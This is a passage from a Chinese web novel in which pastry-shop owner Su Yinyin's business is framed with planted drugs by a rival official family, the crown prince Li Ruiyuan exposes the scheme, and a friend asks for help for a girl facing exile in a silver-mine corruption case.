安桂兰赶紧道:“现在已经有地方住了,就在南郊的民居里,那家人很好,说是等到发了月钱之后,再给银钱也没事。” 那家知道她在苏家点心做事,所以非常信任她。 这样就好,苏茵茵想了想,还是给她提前支了半个月的银钱,让她手里有些银钱,日子好过些。 安桂兰愣神许久,看着手里的银钱久久不能回神。 其实她想过预支银子,可东家对她已经很好了,而且以前在魏家,别说预支了,问都不敢问。 时间一长,难免不敢讲。 在这做事,东家不仅人好,还不计较她撒谎,她心中真的无比感激。 安桂兰叹气口,她这些年的日子,真是没法说。 本以为要熬出头,没想到魏家被抓,其实能离开魏家很好,而且离开之后才知道,那里有多黑心。 魏家完蛋之后,大部分人收拾收拾回家,还有一部分没法回家的,就开始找活干。 她就是后者,她家之前有五个女儿,一个儿子。 作为最小的女儿,最不受待见,所以被送过来学手艺,指望等几年让她赚钱。 没想到当魏家的学徒不仅赚不到钱,还要钱,她家十分生气。 特别是两年前小儿子生病,想要钱买药,她咬牙凑了些,但还是不够。 没想到家里竟然把弟弟的死怪在她头上。 两年过去,家里从来不联系她,就算她回家也会被赶出来,这事村里人都知道。 一百里的路,她徒步走回去,一口水没喝,就被赶出家门再走回来。 从那之后,她就再也没有回去过。 但这些话她没有说出来,想拿这些事出来博同情。 反正依靠自己,也能过下去的。 现在不就是最好的例子吗。 安桂兰更加下定决心,一定要在这里好好干。 绝对不会辜负东家的信任。 苏茵茵肉眼可见兰娘做事越来越卖力,用她的话说,她真的不累,如果不做的话,总觉得心里有亏。 但说实话,苏家并未做太多,只是了她应得的工钱而已。 苏显再次看到安桂兰时,她还特意道谢,说在那家住的很好,每天晚上回去,那家还给留饭云云。 别说苏显,苏茵茵都沉默了。 在他们看来,兰娘明显值得更多,她有能力有韧劲,根本不需要这样的。 李锐渊倒是犀利评价:“因为她之前的经历,所以会有这种想法。” 总觉得李锐渊在点她。 可苏茵茵知道,对方绝对想不到她经历过什么,只当听不懂。 店里日子照旧,除了因为店里每日都要排长队之外,其他都挺好的。 苏茵茵甚至在想,要不要再开个分店。 刘姐姐已经可以独当一面,让她去分店做掌柜,应该也是可以的。 正好最近许多点心铺都在往外盘,现在接手刚刚好。 先开一家慧女点心的分店,应该也不错? 这么想着,苏茵茵便去联系要盘出去的店铺,接触了几家,开出的价格都不高。 但魏家的店她都绕着走。 谁知道这家人背地里会使什么坏。 本来就是正常的盘店开店。 消息传到魏家人耳朵里,难免更加生气。 苏茵茵这个小丫头,实在是让人讨厌。 当时那么多点心铺,就她家咬死了不囤糖,让其他铺子跟着犹豫。 出事之后,她家还提出来,要改善学徒们的生活条件。 怎么就你聪明,就你当好人? 原本只是私下里嘀咕。 没想到的是,其中一个魏家人得到个意外的差事。 这人原本犹豫的,但对方开了一大笔钱,闹完事就能远走他乡,岂不美哉。 八月二十九。 苏家点心新品上市。 软乎乎的芋头点心终于上市。 隔着半条街,都能闻到芋头的香味。 也不知道她家怎么做的,既有奶香味,还有芋头本身的香甜。 不用多说,门口依旧排起长龙。 一个贼头贼脑的中年人醉醺醺过来,眼里闪过恨意,大声道:“又是苏家点心,难道真的那么好吃?这些不会都是托吧?” 店里员工跟顾客同时皱眉。 一句话把双方都骂了,这像话吗? “不就是靠女儿从宫里换了方子吗,还真以为是自己的本事吗?”中年人喝着酒大喊道,“还小红娘呢,天天就会弄这些东西骗人!” “我告诉你们,她家点心里,可能都加了五石散,越吃越上瘾。” 这人大声喊着,明显是故意恶心人。 至于五石散是什么? 当然是吃了之后会让人上瘾的药材,吃多了之后,都会变得人不人鬼不鬼。 一听这话,不少顾客难免心里咯噔一下。 对方还在大喊:“不相信的话,自己想一想,谁家点心这么吸引人啊,她家又没用什么名贵的食材,凭什么让人吃了又吃。” “你们,你们这些人,肯定都是中了她的计!” 说别的就算了,五石散? 苏茵茵感觉自己被侮辱了好吗。 说什么都行,这点绝对不能忍。 苏茵茵从后厨出来的时候,直接道:“那我敢报官,你敢吗?” “口说无凭,咱们让官府来查验。” 苏茵茵底气十足,她才不怕这些。 而且对方这么说,明显就是为了毁掉她的名声。 说着,苏茵茵直接吩咐店员去找街上的巡捕过来。 谁料这醉汉见她出来,竟然直接冲到她面前,明显想要拉她衣服。 苏茵茵下意识躲闪,身后的安桂兰直接冲过来,直接把人推到地上:“你干什么!” 苏茵茵赶紧拉住她,不让她往前走:“别,别过去。” 那人好像有刀! 60-64 第61章 苏茵茵跟安桂兰互相拉着对方,尽量保护对方的安全。 周围都被吓傻了。 怎么还有刀,怎么还拿出刀了。 醉汉见此,倒是清醒几分,赶紧把刀放下,好像方才只是喝醉了才这样。 苏茵茵紧紧盯着对方,并不相信。 真正喝醉了,是不可能过来闹事的,甚至站都站不起来。 方才看他中气十足的样子,分明是故意找茬。 周围人刚松口气,劝道:“喝醉了就回家吧,别出来了。” “你不会是看人家店里生意好,所以眼红嫉妒。” “别闹事了,赶紧走吧。” 不对劲。 闹这么大一出,是为什么? 就为了装作要伤人? 苏茵茵眼睛带了惊愕,赶紧往后厨方向跑,那醉汉这才紧张,明显要去追。 还好有安桂兰拦了下,把对方拦在店门外面。 醉汉竟然又挥舞起手里的刀子,明显想要吓退这个小姑娘,谁料刀尖朝外,正好碰到安桂兰的手臂。 “住手!”苏显快步跑来,三两下制住醉汉,身后还跟着跑过来的巡捕。 安桂兰提醒道:“东家去后厨了,肯定还有问题。” 苏显看了看她手臂上的鲜血,说了句抱歉,急忙跟着过去。 此时的后厨一如平常,看起来好像没有区别。 苏茵茵却微微摇头:“来过人。” 巡捕们想要踏进,被苏显拦着道:“有人进过这里,不好破坏证据。” 谁料那巡捕头子却道:“苏姑娘,苏公子,是衙门有人报案,说你们店里食材有问题,衙门派我们来调查。” 这是不是有点太巧了? 跟过来的安桂兰也皱着眉。 难道是生意太好,惹了别人不高兴。 那也不至于啊。 他们店里生意好,也不止一日了。 还是说得罪了什么人。 苏茵茵想到最近的事。 糖商那边,确实因为她损失巨大。 但李锐渊办事,基本不用担心。 这么看的话,估计还是店里的原因。 不对,还有行会。 可如今点心行会刚刚组建起来,也没有触动谁的利益。 她跟谁有那么大的仇? 不管店里有没有事,暂时都要关门接受调查。 醉汉也被关起来,等着衙门来审。 这场变故让客人们看得目瞪口呆。 大家只是来买个点心,怎么会这样。 难不成苏家点心真的有问题? 也不像啊。 新店被关,老店也被牵连,不少熟客都来问情况,着重询问你家点心里不会真的有五石散吧? 那东西吃了可是会上瘾的,吃多了,人就会疯疯癫癫,难不成真的那样黑心? 这些话必然会给店里带来影响,肉眼可见,慧女点心的人也越来越少。 所以这一切,就是为了让自家生意做不下去? 苏家人不明所以,但以苏指挥使的经验道:“应该是得罪什么人了。” 得罪谁了? 苏娘子带着安桂兰回来,胳膊上的伤口已经包扎好了,她是因女儿受伤,肯定要带回来休息。 全家都为此道谢。 如果让醉汉追到店里,谁知道会发生什么事。 安桂兰迟疑片刻,却道:“我看他不像真的要伤人,多半是吓唬。” 苏茵茵也有这种感觉。 对方闹事的目的,就是让路人都知道苏家点心出了事,随后来的巡捕再把店门关掉,难免多生疑窦。 这样的话,纯粹就是跟他家有仇? 可若真的这样,不应该去找新店,而是去砸老店的招牌。 “不管了,想必后面的人肯定会现身,好让咱们知道为什么。”苏茵茵直接道,“既然设了个局,必然有其目的。” 苏指挥使则出门去找好友,想要问问什么原因。 还有衙门调查进度如何。 不出意外,衙门在苏家点心的后厨搜到“五石散”,听起来好像可以定罪一样。 但被抓的醉汉又是一个疑点,或许真如苏家所说,他们联合起来陷害苏家点心。 此案看着简单,其实怎么判,都在衙门的一念之间。 而背后的人,果然站了出来。 衙门那边递话,说是苏家应该是得罪了什么人,让他们好好想想,走走关系,说不定此事便大事化小小事化了。 这种小案子,按理说没人会查看。 衙门小吏能处理就处理了。 京城的西城衙门事多如牛毛,实在是一桩小事。 张主簿照例查看卷宗时,也没什么想法。 只是看到苏家点心四个字,又在卷宗里看到苏茵茵的名字。 张主簿在衙门时间长,稍微想想就知道,这更像是故意整人的案子。 搞个悬而未决的事,好让对方屈服,达成自己的目的。 问题来了,哪个蠢货授意的? 整谁不好,整苏茵茵啊。 脑子被驴踢了。 原本一桩小案件,张主簿上了心。 身边文吏难免多看几眼。 要说衙门主簿,并非是什么重要的位置。 可这个衙门却是京城的衙门之一,便有很大不同。 这位张主簿的老师在东宫当幕僚,是太子近臣,不难猜测以后他的位置。 文吏小声道:“张主簿,这个案子有什么问题吗。” “有啊,谁报的官,谁做的保?”张主簿直接问道。 前者是问明面上的人,后者是问背地里的人。 眼前的文吏也不知道,还要去打听打听。 张主簿根本不用问太子殿下的意见,只道:“查明白再说,不要冤枉好人。” 五石散放点心里。 简直无稽之谈。 有张主簿这句话,苏家只要等着开门大吉就好。 不过背后的人,还是要揪出来的。 张主簿并未着急去东宫禀告,而是等着下属查清前因后果,这才带着口信去找太子。 等李锐渊去苏家时,时间就稍微晚了些。 苏茵茵倒是没什么想法,反正她行得端做得正,而且看起来不是什么大事。 李锐渊过来,也在预料之中。 看到他过来,苏娘子反而有些惊讶,再看李锐渊如今的模样,总觉得跟几年前大不一样。 那时候瘦瘦小小的,如今显然已经是少年挺拔的模样。 不过看他的气势,还是疑惑对方的出身。 苏娘子道:“你也听说店里的事了?没事,茵茵她爹已经去兵马司问情况了。” 大家都知道,案子不重要,重要的是背后的人。 李锐渊对苏娘子十分客气,认真答道:“想来肯定会平安无事。” 苏家兄妹听此,心里有数了。 看来他已经查到是哪里的问题。 苏茵茵有些不想听他讲,可又知道不管什么事,他肯定会插一脚。 两人对视一眼,看苏茵茵下意识扭头。 苏娘子还着急去老店,虽说生意不如从前,但也要开门营业。 安桂兰看了又看,跟着苏娘子一起去忙。 家中只剩苏家兄妹,以及李锐渊等人。 李锐渊刚要开口,苏家门又响了。 打开门一看,竟然是苏显见过的人。 李锐渊上下打量对方,低声对苏茵茵道:“孟三他大哥。” 这位早些年考上进士的孟大哥没有上朝的资格,自然不知道太子长什么样。 他只觉得院子这个少年气势不同。 但他此刻过来,目光在苏茵茵身上停顿片刻,今日的目的还是她。 孟大哥见到苏茵茵第一眼,便明白三弟为什么非她不娶,长得不仅好看,还很灵动,一点也不像小户人家出身。 他的目光让苏茵茵有些不爽,问李锐渊道:“不会是我想那样吧?” “是你想的那样。”李锐渊直接答。 两人声音不算低,让孟家老大听的一头雾水。 那边苏显脸都黑了,对方还在道:“你不过是个秀才,见到本官还不行礼。” 说的是苏显,其实指的是苏家院内所有人。 话音落下,别说苏显,其他人动都不动。 郭展更是差点没笑出声。 一个小小的六品官,让谁行礼呢。 苏显则直接道:“你人品卑劣,不值得任何人行礼。” “你!”孟家老大脸色难看,似乎被戳中心思一样。 这位一来,苏家这边已经明白前因后果。 毕竟跟他家的交际,也就只有孟三了。 那东西又在背后做什么事了? 孟家老大找到主位坐下,强行平息怒火,开口道:“本以为苏家是清白门第,没想到为了高攀,竟然做出如此不齿之事。” 听对方啰里啰嗦才知道。 孟三自从马球比赛之后,便跟家里闹着要娶苏茵茵。 说什么自己现在也辞官了,以后前途未卜,跟她正好相配,求求家中爹娘大哥答应。 不管做什么他都可以的。 家里本就因为他差点被巡银矿的事焦急。 好不容易周旋得当,人保住了。 现在又有幺蛾子,难免会心里不满。 但对家中小儿子,他们还是宠着的,不满只能对着苏家来发。 在孟家眼中,不过是个七品指挥使家的女儿,开了两间店铺而已,没什么了不起。 这样的人,绝对是高攀他们孟家,毕竟孟家老爷是京中四品的官职。 就算孟三如今不做官,以后也是前途无量的,而且越是这种时候,越要小心谨慎挑选岳家。 谁知道怎么跟孟三说,他都不听。 家里就以为是苏家蛊惑,正好他家手底下有三个铺子的学徒闹事。 说是人家点心行当的学徒们如今处境都不同了。 只要做学徒超过半年以上,一定要发工钱不说,有了委屈还能找行会诉说。 为什么他们行当的学徒还是那样惨。 总之这些学徒们都不高兴,说是自己在这做事也一两年了,都想要工钱,如果不给工钱他们就去其他地方。 这么一闹,让孟家心里更加不高兴。 这苏家就是来克他们家的吧。 这段时间闹下来,让孟家确定,要给对方小惩大诫,打消苏家的小心思。 小心思,到底谁有小心思啊。 苏家众人沉默。 郭展在后面一脸尴尬。 如果只看苏家的条件,七品指挥使之家,哥哥是秀才,家里有两家店铺。 放在京城确实不够看。 但只要稍微接触下就知道,这家人不一样。 单说苏指挥使的战功跟人品,再加上苏娘子的品格跟能力。 以及苏家兄妹俩的聪明。 这一家怎么看都是前途无量。 更别说人家连太子都看不上,还看上你家那愣头青? 殿下跟苏姑娘青梅竹马,从小一起长大,两人对视一眼都能看出对方的想法。 要不是怕给苏姑娘压力,殿下现在就敢让皇后娘娘提亲。 还小心思。 真是不知天高地厚。 孟家老大说完,以后苏家会羞愧难当,谁知道只是一片沉默。 苏显罕见翻了个白眼:“孟大人,你是不是太自信了。” “你家弟弟做的事,跟我家又有什么关系。” “若不是你家妹妹跟他有联络,他又怎么会一个劲想回京城,马球场见一面,便忤逆长辈!”孟家老大平时的水平也没这样低劣。 此刻说话,不过是看不起苏家而已。 可他此刻也坐直身子,总觉得眼前几个年轻人跟他想象中不同。 苏茵茵此刻开口:“我对天发誓,跟你弟弟完全没有往来,你是非不分黑白不明,就找人设局关闭我家店铺,此事我肯定会告到底的。” 孟老大没想到,这个小姑娘竟然还敢反击。 还说要告到底。 眼看自己气势低落,只觉得这家难缠,不过心里也在打鼓,难道他们真的误会苏家了? 正想着,孟三终于赶了过来。 他听到妹妹说,大哥去威胁苏家时,吓得赶紧跑过来。 进了苏家大门,连忙对他哥道:“哥你在干什么?他家完全不知情,是我想跟茵茵姑娘成亲,这才想先说服家里,你们怎么就是不信。” 李锐渊额角跳了跳,明显不耐烦。 他的气场让孟三下意识看过去,这一看直接跌坐在地上,指着眼前的少年,半句话都说不出来。 太子怎么会在这! 今年殿试结束,他还跟同年们私下感慨,太子相貌不凡,还有如此能力,以后万龙国必然越来越好。 可此刻的重点是,太子怎么在这! 他们家干的龌龊事,太子全都知道了?! “弟弟你怎么了?”孟家老大疑惑道。 孟三连忙行礼:“拜见太子殿下。” 万龙国不兴跪拜礼,但他正好跌坐在地上,此刻看起来更加卑微。 孟家老大不敢置信,怎么可能是太子。 等弟弟解释之后,他也吓得跟弟弟一起跪下。 苏茵茵往外挪了挪,她不太习惯这种“礼数”。 李锐渊没有理他们,反而看向苏茵茵道:“怎么了?” “不适应。”苏茵茵如实道,“赶紧把这事解决了吧。” 在孟三认出李锐渊时,这事已经不用多说了。 李锐渊点头,把张主簿查到的事情说了个清清楚楚。 从孟三在家闹腾着要娶亲,再到行会学徒的事影响到孟家店铺,以及孟家找了衙门的人,以及魏家点心的人做局。 其中细节,孟三都不了解,却被太子明明白白讲出来,说的事无巨细。 到了这会,要是还不明白太子跟苏家的关系,他们也不用当人了。 孟家两兄弟,甚至隐隐知道,当初要把孟三派去巡银矿的人到底是谁。 可惜人家给了宽恕的机会,他们却没当回事,直接踢到铁板。 这么看来,孟家想要报复苏家,确实也找对了方向。 孟三的辞官,就是他自找的结果。 但凡他能听懂话,不要再来骚扰苏茵茵,一切都不会发生。 苏家兄妹听完之后,也无语了。 对他家来说,就是无妄之灾。 眼看此事就要尘埃落定,孟家一众人等哭喊着求太子宽恕,不放心他们的苏娘子所以回家的苏娘子沉默了。 平日家里就够热闹了。 今日的热闹更家不一样。 苏茵茵下意识想把李锐渊藏起来。 说好的瞒着娘亲呢。 手比脑子反应快的下场,便是听到李锐渊笑了声,然后站出来给娘亲赔礼道歉。 “隐瞒婶娘多年,实在不好意思。” 苏娘子脑子还没平静下来,却也知道不能受此大礼,立刻推脱:“您是太子,何必如此多里。” 话是这么说,可毕竟认识多年,总觉得哪里怪怪的。 还在地上的孟家人此刻知道,他们真的完蛋了。 太子对苏家有多和善,对他家就会有多厌恶。 孟三看向苏显,怪不得他对苏显说,你家妹妹不要当皇亲国戚的妾室时,对方脸色极为难看。 原来不是金大人的妾室。 是太子的? 也不对。 孟三此时脑子难得清晰。 若只是妾室,太子都不必亲自跑一趟。 以茵茵姑娘讨人喜欢的性格,必然是真心喜欢了。 想通这些,孟三整个人羞愧难当,他之前到底在想什么啊。 不过就算没有太子在这,他也觉得自家太过狂妄。 自以为门第高出苏家,就能为所欲为。 闹剧结束,李锐渊顺势离开,他知道苏家内部还要话要说。 店里的麻烦解决,都不需要别人帮忙,孟家自己都会澄清一切谣言,所以这些都不用担心。 家里就剩苏娘子,以及苏家兄妹。 看着兄妹俩的表情,苏娘子开口道:“说吧,你们什么时候知道原锐是太子的。” 苏娘子语气里还带着不敢置信,到现在还在消化。 她以为自己做生意这么多年,什么事都见过,可这种事还是超过她的想象。 “一直都知道他身份尊贵,没想到竟然是太子。”苏娘子喃喃道,“咱们家还好没得罪他。” 话又说回来,孩子们什么时候知道的? 苏家兄妹老老实实回答。 一个是去年就有猜测,一个是今年确定了。 两个人心里都能装事,故而半点风声都没漏。 苏娘子一时不知道说什么好,看着长大的孩子们,颇有些头疼。 过了会,苏娘子又道:“那现在,咱们家里,只有你爹不知道了?” 苏指挥使这会应该还在四处走动关系,想要知道到底得罪谁。 但他也没问太久,因为衙门那边传过来消息,已经找到幕后指使。 就是有些店铺掌柜,觉得苏家优待学徒,让他们很不高兴,所以设计陷害苏家点心。 醉汉跟五石散,都是他们的手笔。 那掌柜跟东家都已经被抓到衙门里,肯定会牵连到东家的。 苏指挥使松口气,但他深谙官府办案的速度。 不到一日的时间,这就解决了? 再一问才知道,是东家自己投案自首的。 这更奇怪了啊。 反而是上司宁郡王摸摸胡子,笑着道:“苏家吉人自有天相,你家女儿可是有福气的,凡事都能逢凶化吉。” 说自己女儿有福气,这点倒是没错。 家里事情解决,苏指挥使急着回去让家人安心,便快步回家。 没想到家里其他人坐的整整齐齐,似乎在等着他回来,又像在聊重要的事。 听着父亲说完衙门的官司,苏家兄妹俩更是不知该怎么说,齐齐看向娘亲。 全家都知道的秘密,确实不能瞒着当爹的。 苏指挥使说完之后,走到儿女身边,摸了摸女儿的头,安慰道:“麻烦结束了,别担心了。” 说完又对苏显道:“咱们家最有福气的,就是你妹妹。” 苏显迟疑片刻,郑重点头。 茵茵确实有福气的。 可等爹爹坐下,全家又陷入沉默。 苏娘子朝两人招招手:“今晚不做饭了,你们去街上买回来些,顺便提前关了店门,给大家放几天假,三日后再开门。” 苏茵茵跟苏显立刻听命,按照娘亲吩咐做事。 只留苏家夫妇在家中。 全家唯一不知情人,苏指挥使,直接傻眼。 从小在他家玩的小孩是太子? 这段时间没过来,是因为他观政了? 苏娘子最后一句,更是让他觉得脑子发晕。 “看样子,太子喜欢咱们家茵茵。” 特别是最近两年,明眼人都看得出来。 苏娘子之前委婉说两人都长大了,就是在提醒这件事。 苏指挥使第一反应,谁会不喜欢咱们家女儿。 可随后又发愁的厉害。 这不合适吧? 肯定不合适。 苏指挥使都这么愁,女儿呢? 晚饭过后,苏娘子来到女儿的院子,她跟相公不仅聊了原锐的真实身份,甚至想到很多事情。 比如宁郡王为什么对相公另眼相看,格外照顾。 为什么家里能买到这么合适的宅院。 甚至还有苏显去山家书院的荐书。 似乎都有答案。 女儿那么聪明,肯定也能想明白的。 不知道她心里到底背负了多少压力。 苏茵茵肯定睡不着,感觉又欠了李锐渊一个人情。 总还不完的感觉。 他明知道自己能处理,也知道自己会觉得欠他的,但就是故意这么做。 世界上怎么会有这样的人啊。 苏茵茵感觉自己被人拿捏住短处一样。 想方设法让自己欠人情。 “茵茵睡了吗。”苏娘子敲门道。 “娘你怎么来了。”苏茵茵连忙去开门,“还没睡呢。” 苏娘子看着女儿,眼睛里都是温情,她家女儿,怎么看怎么有福气。 就是傻乎乎的。 别人对她好,她就要想方设法还回去。 苏娘子笑着道:“要不要听听你哥哥小时候的事?” 哥哥小时候? 苏茵茵连忙点头。 好啊,她想听。 苏娘子拉着女儿坐到床上,哄着她道:“躺下说吧,娘今天晚上陪你睡。” 苏茵茵眼里闪过惊喜。 好,她喜欢跟娘一起睡。 女儿的眼神骗不了人,看的苏娘子心里更软,笑着问她:“喜欢跟娘亲一起,那为什么不说呀。” 这让苏茵茵一时不知道怎么回答。 不过娘亲躺在她身边,侧着身,像她还是婴儿时候一样,搂着她讲故事。 她真的好喜欢被娘搂着。 “你哥哥小时候话挺多的。”苏娘子回忆起之前的事,又想到苏显小时候的模样,难免多说了些。 苏茵茵凑过去,认真听娘亲说话。 第62章 苏显小时候万龙国不太平。 那时候苏家点心基本都关门了,两房人都在老家住。 大房一家如何,不用多说。 当时父亲还不在,出去打仗,所以二房很受欺负。 苏显就是那会话越来越少,但聪明得厉害,不怎么吃亏。 苏娘子当时刚嫁过来也没几年,新妇不知道妯娌之间的算计,还吃过不少亏。 她跟苏显就是一点一点成长起来。 “娘之后就在想,如果娘当时厉害一点,会不会能保护好你哥哥,话就不会那么少。”苏娘子话是遗憾,但其实是笑着说的,“可现在,你哥现在也挺好的,他话虽然不多,但该说的都说,小时候的事对他来说,反而是一种磨砺。” 这并非假话。 小时候的经历塑造了现在的苏显。 他本人也不觉得如今有什么不好的地方。 爹是因为保家卫国不在家,娘很努力的保护他。 爹娘都在身边的时候,更是努力给他最好的东西。 就算妹妹出生,也不会厚此薄彼,对他们都很好。 所以苏显从来都觉得,他在如今家里很幸福,也很幸运。 当年他努力考秀才,甚至如今准备乡试,都是他想让家人过得更好些。 苏娘子说着,看了看怀里的女儿,轻声道:“茵茵也很好,比你哥还要好,你哥小时候还有调皮的时候,可女儿一直都很乖,从来都不给娘添麻烦。” “就算是小时候,只要娘有事,从未哭闹过。” 苏娘子的语气里充满怜爱跟喜欢:“我跟你们爹爹还说过,是不是我们俩没做好,让你乖得厉害,可想了想,这或许就是你的性格,跟你哥哥不爱说话一样,都是你们的脾性。” 说到这,苏茵茵有些心虚。 她甚至不敢抱住娘亲,只好低着头不说话,但娘却抱住她,轻声安慰:“不管茵茵怎么想,怎么做,都是娘跟爹爹的女儿,不管是什么性格,什么爱好,爹娘都会喜欢的。” “因为你是我们的宝宝呀。” 苏茵茵抬头看着娘,眼里有些湿润,苏娘子继续道:“很多事不要放在心上,一切都能过去的。最重要的,是你要开心,一辈子就那么长,你说是不是。” “不过娘今日才知道,你最近承受了多大的压力。” “宝宝没关系的,娘亲一直在你身边。” 夜晚的谈心,苏娘子并未给出答案。 她只是告诉茵茵,不论你是什么样的人,爹娘都爱你,都喜欢你,你永远都是爹娘的宝宝。 开心就好,有秘密也好,无论什么样的她,都很好。 至于李锐渊那事,苏娘子冷静下来后也笑着道:“那是个好孩子,就是心眼多。” 随后苏娘子心道,好在女儿心眼也不少。 以后会发生什么谁都左右不了。 只要女儿开心就行,不要给自己那么大的压力。 因为你是什么样,家人都爱你。 苏茵茵睡醒之后,只觉得浑身懒洋洋的。 她很别扭,她知道。 她也不爱同人交心,她也知道。 这些应该是缺点的。 可是好像所有人都告诉她,没关系,你做什么都好的。 爹娘,哥哥,甚至李锐渊,他们一直再用语言,行为告诉她,没关系的,这都是你。 “我运气好好。”苏茵茵认真道。 别人穿越,或许会感慨生活不如从前便利,吃的喝的用的,都忍受不了。 但她真的觉得自己好幸运。 起床之后,一时也没什么事做。 家里两个店都暂时关门休息,爹娘哥哥都不在家,昨天娘说她要跟爹爹去上香? 苏茵茵在床上打了几个滚。 终于想到人生中最麻烦的一件事。 李锐渊。 自己欠他的,真的要还不完了。 孟家那事基本上就是他处理的。 哎,好难。 要不然别惦记着还了。 反正债多不压身。 正想着呢,孙东俊在门外大喊:“茵茵!苏茵茵!老大!帮帮忙啊!” 孙东俊喊的撕心裂肺,吓得她赶紧出去。 平日只爱玩闹的俊哥满头大汗,连忙道:“茵茵,你爹在吗,他在兵马司吗,还有原锐,原锐他家是什么身份,能不能帮帮忙。” “再有个金彦磊,还有你认识的张姐姐,李大哥家里,对了还有郡主,不行,郡主家也出事了。” 看他说的前言不搭后语,苏茵茵强行让他冷静:“俊哥冷静,到底怎么了,找他们干什么。” “我师父,杜小师父,她家牵扯到银矿案里,好像要被流放了,她一个女孩子,要是被流放的话,一定会完蛋的。”孙东俊说着大哭起来,“我要是好好读书有功名就好了,一定能救她的。” “茵茵你家认识的人多,能不能帮帮忙,找找人问问她现在怎么样了。” 杜姑娘? 苏茵茵对她印象很深,是雨情郡主的闺中好友。 再想想孙东俊方才的话,她回过神:“郡主家也出事了吗?银矿案?滇州的那个吗。” 孙东俊点头。 朝廷四五月份派出去查案的巡察使团已经回来了,一行二十多官员,死了八个,剩下的人也是九死一生回来。 但该拿到的东西都拿到。 滇州边域银矿屡屡瞒报,就是跟雨情郡主等皇亲国戚勾结。 甚至还跟当年废太子逼宫有关。 若不是这些银子,当年的宫变多半根本起不来。 总之事关重大。 不出意外的话,九月十月一大批人会有牢狱之灾。 杜家就是如此,她家一直跟着雨情郡主家做事,肯定有所牵连。 不出意外,大概率会被流放。 反正不管哪一条,对女子来说都不是什么好下场。 孙东俊今日去马场练球,就看到门口的官差,还差点把他也抓起来。 好在知道他跟此事无关,还劝道:“总之离他们远一些,废太子的党羽肯定要一一清查。” 这些跟普通人的关系并不大。 放在往常,孙东俊也不会在乎,毕竟跟自己真的没有关系。 可现在难免为杜师父担心。 苏茵茵理清前因后果,心道此事只怕难了。 牵扯到废太子,那就跟谋逆有关。 再说皇上皇后对李锐渊的宠爱,肯定会追究到底。 毕竟若不是李锐渊自己从心理阴影里走出来,现在的他只怕早就病入膏肓。 任何一个爹娘都不会轻易放过当年的凶手。 当然了,杜小姐在里面肯定无足轻重,当年的她还没出生呢。 苏茵茵想了想道:“先去找黎状元,他跟雨情郡主有婚约,他知道的肯定更多。” 苏茵茵隐约觉得,黎兴或许早就做好准备。 甚至雨情郡主一家牵扯的应该不深,否则皇上不可能容他们那么多年。 连带着的杜小姐一家,更是边缘人物,说不定只是被这阵风牵连。 近十五年前的事翻出来。 肯定还有其他目的。 苏茵茵迅速给孙东俊解释,可他完全听不懂啊。 什么利益纠葛,什么边缘不边缘的。 他只知道杜小师父大概被关起来了,他看话本的时候,知道流放是什么样子,那样实在太苦了。 不行啊,不能让自己师父吃这样哭的。 苏茵茵沉默片刻,怜爱地看向自己小弟,开口道:“放心,问题不大。” 好的,这个他听懂了。 “老大我听你的,你一直都聪明。”孙东俊总算说对一件事。 苏茵茵带着他去找黎兴。 黎兴那边坐得稳,事实跟苏茵茵猜的差不多。 不管是雨情郡主家,还是杜家,都是被旧案牵连,他们当年也是稀里糊涂的,不是什么主谋。 但有一点不好,他们这些年不满新政,所以才借着这件事该贬的贬,该罚的罚,一切都要为新政让路。 借故重查各地矿产等等。 苏茵茵松口气,孙东俊那边还在问:“那能把人救出来吗?应该能吧,反正他们牵扯不深。” 黎兴点头:“我跟雨情九月便会办婚事,明年离京赴任。” “你说的杜小姐,我会帮忙问问。” 作为今科状元,黎兴这点人脉还是有的。 孙东俊千恩万谢,还从怀里掏出几张银票,请黎状元一定收下,帮他活动关系。 知道孙家酱料店如今有近十家分店,可看到俊哥直接掏出几百两来,还是让苏茵茵大为震撼。 孙东俊不好意思道:“偷我娘压箱底的钱,千万别说,不然我肯定挨打。” 想到孙老板的性格,苏茵茵觉得他这顿打应该少不了的。 黎兴也无奈把银票塞回去:“只是打听消息,暂时用不到银子。” “别别别,用的时候没有怎么办。”孙东俊万分认真,“求求你了。” 此时的杜家已经被官兵把守,任何人都不能进出。 杜家上上下下哭个不停,所有人都知道大难临头了。 银矿的事还好说,是贪了些银子,但跟当年废太子真的没有关系。 可他们不支持新政,才是最大的错。 杜老爷知道自己站队站错了,已经认命。 现在最重要的是保存实力,流放之后的日子能好过些,过个五年十年,他们家还能再回来。 但不是所有人都能被保全,也不是所有人都有用。 前院众子弟丧如考妣,基本没有思考能力。 后院女眷们也差不多,好端端的,怎么会出这样的事。 杜小姐站在最后面,没有人关注她。 她是妾室所生,娘前些年病逝,所以一直算是透明人。 若不是跟雨情郡主关系好,更不会有人在意她。 主母却在此时看向她道:“郡主一家是不是早就知道了,你跟郡主走的那样近,为什么不提前告知?!” 杜家内里乱,外面也乱。 朝中则是井井有条。 这件事早就在筹划,如今终于收网。 到苏茵茵他们这里,则是听孙东俊哭哭啼啼。 听的她都有点烦了。 苏显也无奈道:“真的,已经在等结果了,只要结果出来,就知道要怎么救人,只要不是主犯,应该都能救出来。” “而且流放确实很苦,但他们一家子上路,彼此都有关照,而且让他们去边塞,是让他们在那边生活,并不会喊打喊杀。” 总之就是命肯定能保住。 孙东俊听到这才松口气,最后又问了句:“原锐呢,我总觉得他最厉害。” “看着傻,原来也没那么傻。”苏显默默吐槽,“我出去一趟,俊哥也别太着急。” 苏茵茵道:“他应该很忙。” 昨天看他像没事人一样,今日就收网了。 “那你见到他,一定让他帮帮忙啊。” 孙东俊说完,苏茵茵奇怪道:“就直接开口,让他帮忙吗。” 不会觉得不好意思吗。 也不会觉得需要回报吗。 孙东俊拍着胸脯道:“我们怎么也是从小认识吧,这还要回报?他没那么小气吧!” 这句话让苏茵茵有些迷茫。 不用思考这些东西吗。 孙东俊比起他们来说,好像确实过于乐观开朗了。 话说着,孙东俊又哭了。 他的杜师父,千万不要有事,不然他能哭到肝肠寸断。 苏茵茵自然不会忘了这事,两日后看到李锐渊,第一时间问了杜家。 “跟雨情郡主家关系不错那个杜家。”苏茵茵强调道。 李锐渊知道他们认识,却也没想到孙东俊还拜了人家当师父,想了想道:“卷宗都在东宫,杜家如何处置,应该有了初断,你要不要去看看?” 卷宗,东宫。 苏茵茵已经快习惯了。 见她还在犹豫,李锐渊故意道:“孙东俊可是你小弟,帮帮忙怎么了。” 说着,就指了指外面的马车:“不会有人知道你过去的。” 想到孙东俊一直在哭,偷银票被发现后,挨了顿打,还是要给银子,苏茵茵咬牙道:“去看看?” 东宫就在皇宫一角,上辈子成为景点的时候她都没去看过,何况如今。 